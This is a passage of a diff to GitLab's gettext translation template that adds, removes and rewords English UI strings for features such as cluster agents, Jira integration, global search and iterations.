-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7824,15 +7994,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7959,9 +8132,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -8007,12 +8177,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -8034,9 +8198,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8337,6 +8498,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8391,6 +8555,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8448,9 +8615,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8487,6 +8651,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8914,6 +9081,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8926,6 +9099,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8965,9 +9141,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9685,7 +9858,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9841,6 +10014,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -10000,6 +10176,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -10033,9 +10212,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -10255,6 +10431,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10647,6 +10853,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11296,6 +11505,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11317,6 +11529,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11371,9 +11586,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11419,6 +11631,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11542,6 +11760,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11557,19 +11778,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
+msgstr ""
+
+msgid "DependencyProxy|There are no images in the cache"
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11815,9 +12042,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -12051,7 +12275,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12324,6 +12548,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12493,6 +12720,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12583,9 +12813,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12619,6 +12846,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12697,9 +12927,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12793,6 +13029,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12808,6 +13047,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12829,6 +13071,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12928,9 +13173,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12982,6 +13224,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -13003,6 +13248,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -13075,6 +13323,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -13249,6 +13500,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13334,16 +13591,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13583,9 +13837,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13634,9 +13885,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13973,7 +14221,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -14157,9 +14405,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -14277,6 +14522,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14352,6 +14603,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14470,6 +14727,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14536,6 +14796,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14548,9 +14811,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14994,6 +15254,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -15090,15 +15353,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -15177,6 +15431,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15390,6 +15647,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15495,9 +15755,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15771,9 +16028,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15945,6 +16199,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -16008,6 +16265,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -16179,6 +16439,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16326,7 +16631,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16383,6 +16700,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16647,7 +16967,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16947,6 +17267,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -17124,7 +17450,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -17139,7 +17468,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -17238,6 +17570,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17507,7 +17842,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17546,6 +17881,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18329,7 +18667,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18494,9 +18835,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18560,6 +18898,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18777,12 +19118,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18900,6 +19247,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18915,6 +19265,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18945,7 +19301,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -19002,7 +19361,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -19140,22 +19499,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -19170,9 +19526,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -19191,9 +19544,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19380,6 +19730,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19455,6 +19808,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19512,16 +19868,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19530,9 +19883,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19626,6 +19976,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19635,6 +19988,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19731,9 +20087,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19758,9 +20120,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19869,18 +20228,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19899,18 +20249,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19920,6 +20264,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19929,12 +20276,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19965,9 +20306,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -20265,6 +20603,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20611,7 +20952,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20716,6 +21057,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
